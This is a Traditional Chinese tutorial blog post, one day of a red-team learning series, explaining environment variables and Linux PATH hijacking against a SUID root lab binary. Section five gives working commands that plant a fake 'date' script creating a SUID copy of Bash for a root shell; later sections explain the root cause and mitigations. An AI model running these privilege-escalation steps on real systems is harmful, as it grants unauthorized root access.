iT邦幫忙

2026 iThome 鐵人賽

DAY 9
0

昨天我們透過 cron,讓 root 執行了被一般使用者修改的腳本。今天換個情境:如果不能修改原本的程式,但能影響它「去哪裡找指令」,還有機會提權嗎?

這就是今天要介紹的 PATH Hijacking。不過在此之前,我們先了解什麼是「環境變數」。

一、什麼是環境變數?

環境變數用白話一點的方式來說,可以把它想成是程式執行時可以參考的一組設定資料

舉例來說,同一支程式可能在不同的語言環境下執行。程式不需要把「現在應該使用哪一種語言」直接寫死,而是可以參考 LANG 這個環境變數,例如:

export LANG=zh_TW.UTF-8

這裡用 export,讓之後從這個 shell 啟動的程式也能收到這項設定。支援相關語系的程式,可以依照自己的設計,決定如何顯示文字、日期或其他資訊。

不過,這不代表所有程式都一定會顯示繁體中文。系統需要有對應的 locale,程式也要支援;另外,LC_ALL 或個別 LC_* 設定還可能覆蓋 LANG 的效果。參考:locale(7)

換句話說,環境變數本身不會主動做任何事情,而是提供資訊給程式參考;至於要不要使用、怎麼使用,由程式本身決定。

今天要研究的 PATH Hijacking,就與另一個重要的環境變數——PATH 有關。

二、PATH 在做什麼?

平常在 Linux 裡輸入 catls,常常是在執行對應的外部程式。在這台 Lab 主機上,這兩個執行檔位於 /usr/bin

ls -l /usr/bin/cat
ls -l /usr/bin/ls

lab-01:查看並使用 cat、ls 的絕對路徑

從截圖可以看到,直接指定 /usr/bin/ls/usr/bin/cat,也能使用這些工具。

那為什麼平常只輸入 ls 就可以了?這就和 PATH 有關。我們先看看目前的設定:

echo "$PATH"

lab-02:目前 shell 的 PATH 搜尋目錄

PATH 是一串以冒號 : 分隔的目錄清單。例如:

/usr/local/bin:/usr/bin

當 shell 需要尋找名稱中沒有 / 的外部命令時,就會依照 PATH 的目錄順序,從左到右尋找同名且可執行的檔案。例如尋找 date 時,會先檢查 /usr/local/bin/date,再檢查 /usr/bin/date

可以用下面這張表來區分:

寫法 尋找方式
date 需要解析命令名稱;若進入外部程式搜尋流程,會使用 PATH
/usr/bin/date 使用指定的絕對路徑,不透過 PATH 搜尋。
./date 使用目前目錄下的相對路徑,也不透過 PATH 搜尋。

Shell 還有 alias、function、內建命令及命令路徑快取等機制,因此不能把所有命令都理解成「每次都從 PATH 找」。本文聚焦在外部程式的 PATH 搜尋。參考:bash(1) 的 COMMAND EXECUTION

三、情境介紹

這次的目標是 /opt/lab09/health-check。先查看檔案權限,再找找其中有哪些可讀的字串:

ls -l /opt/lab09/health-check
strings /opt/lab09/health-check | grep -iE 'date|df|system|sh'

lab-03:health-check 的 SUID 權限與可疑字串

從結果可以得到兩類資訊:

  1. 可以確認的檔案屬性:檔案由 root 擁有,並設有 SUID 位元。在 SUID 正常生效的情況下,執行它會讓程序的 EUID 成為 root。
  2. 值得驗證的線索:執行檔包含 datedf -h /system 等字串,因此可以懷疑它會呼叫外部命令,而且可能沒有指定完整路徑。

這裡要記得,strings 找出的是檔案中的可列印字串,不能單靠這些內容就確認實際執行流程。參考:strings(1)

下一步要驗證的是:如果把我們能控制的目錄放到 PATH 前面,程式會不會改為執行我們準備的 date

四、先用測試腳本驗證 PATH Hijacking

先在 /tmp/probe 建立一個名為 date 的測試腳本,讓它印出辨識訊息:

mkdir -p /tmp/probe
printf '#!/bin/bash\necho "[HIJACK TEST] running as uid=$(id -u)"\n' > /tmp/probe/date
chmod +x /tmp/probe/date
PATH="/tmp/probe:$PATH" /opt/lab09/health-check

這段操作可以分成三個部分:

  • 建立名為 date 的腳本,並給予執行權限。
  • /tmp/probe 放在這次執行所使用的 PATH 最前面。
  • 啟動 health-check,觀察它是否執行我們準備的腳本。

特別注意這一行:

PATH="/tmp/probe:$PATH" /opt/lab09/health-check

這種寫法只替這次啟動的程式及其繼承該環境的子程序提供新的 PATH,不會永久修改目前 shell 的設定,也不會直接改變其他 root 程序的環境。參考:environ(7)

另外,我們已經用絕對路徑啟動 health-check。被影響的是它內部尋找 date 的過程,所以「主程式使用絕對路徑」並不代表它呼叫的其他命令也安全。

為什麼這裡使用 printf?

因為我們需要用 \n 產生多行腳本。echo 是否解讀反斜線跳脫,會受到實作與設定影響;這裡使用 printf,可以明確控制換行。

外層的單引號也有作用:它會保留 $(id -u) 這段文字,等測試腳本真的被執行時才計算,而不是在建立檔案時就展開。

執行後,再用原本的環境執行一次,作為對照:

/opt/lab09/health-check

lab-04:使用測試 PATH 與原本 PATH 的輸出對照

上方紅框顯示我們的測試訊息,下方紅框則是原本的日期輸出。這表示:在這次測試中,程式執行到了 /tmp/probe/date

還有一個重要細節:雖然訊息寫的是 uid=0,但我們執行的是 id -u,它顯示的是 EUID;若要查看 RUID,應使用 id -ru參考:id(1)

因此,這張圖不只證明 PATH 搜尋被影響,也證明測試腳本在當下以 EUID 0 執行。

五、透過 PATH Hijacking 取得 root shell

既然已確認自訂的 date 能以 EUID 0 執行,接下來就把測試內容改成建立 SUID Bash,這會用到 Day 06、Day 07 介紹過的機制。

mkdir -p /tmp/evil
cat > /tmp/evil/date <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash
EOF
chmod +x /tmp/evil/date
PATH="/tmp/evil:$PATH" /opt/lab09/health-check
ls -l /tmp/rootbash
/tmp/rootbash -p

這裡的 <<'EOF' 是帶有引號的 here-document,可以把多行文字寫入檔案,並避免內容在建立檔案時就被 shell 展開。

health-check 尋找 date 時,會先找到 /tmp/evil/date。在前面已驗證的權限條件下,腳本會建立由 root 擁有的 Bash 副本,再設定 SUID。

最後執行 /tmp/rootbash -p,保留 SUID 帶來的 EUID 0,取得 root 權限的 shell。

lab-05:利用自訂 date 建立 SUID Bash,並存取 root 目錄

六、真正的問題在哪裡?

這次攻擊成功的關鍵,是以下條件同時成立:

  1. 目標程式具有較高權限,且被替換的命令實際執行時仍具有較高權限。
  2. 程式透過會搜尋 PATH 的方式,呼叫 date 這類沒有指定路徑的命令。
  3. 攻擊者能影響這次執行使用的 PATH,讓自己可寫入目錄中的同名程式先被找到。

因此,修改 PATH 本身不會讓使用者變成 root;真正跨越權限界線的時刻,是高權限程序執行了攻擊者控制的檔案。

就像管理員要找某個人來工作,卻只認名字,還按照外人提供的名單順序尋找。攻擊者只要把同名的人排到前面,就可能被誤當成原本要找的人。

要降低這類風險,可以從幾個方向修正:

  • 指定受信任的完整路徑,例如確認主機上的位置後使用 /usr/bin/date,並保護該檔案與上層目錄的權限。
  • 限制高權限程式使用的環境,不要直接信任呼叫者提供的 PATH,也不要讓搜尋路徑包含一般使用者可寫入的目錄。
  • 減少不必要的高權限執行與 shell 呼叫。若程式需要啟動外部工具,可使用明確路徑與分開的參數,避免把命令交給 system() 解讀。

Linux 的 system(3) 文件在 Caveats 段落也特別提醒:高權限程式使用 system() 時,攻擊者可能透過 PATH 等環境變數,讓其他程式以高權限執行。參考:system(3)

小結

今天我們從環境變數開始,確認 PATH 如何影響外部命令的搜尋,再用測試腳本驗證執行位置與身分,最後銜接 SUID Bash 取得 shell。

這次要記住的問題是:這個高權限程式執行的工具,到底是誰選出來的?

即使主程式本身不能被修改,只要它找工具的方式受到攻擊者控制,仍可能形成提權路徑。

Lab 結束後,記得移除這次建立的測試檔案與 SUID Bash,或回復快照。

明天我們會介紹 SSH 設定不當可能帶來的權限風險。感謝大家的閱讀,我們明天見!


上一篇
Day 08|Cron Job:維運最愛的自動化,也可能是提權路徑
系列文
我以前被社會打穿,現在輪到我研究怎麼把系統打穿:資安工程師的 30 天紅隊轉職實驗9
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言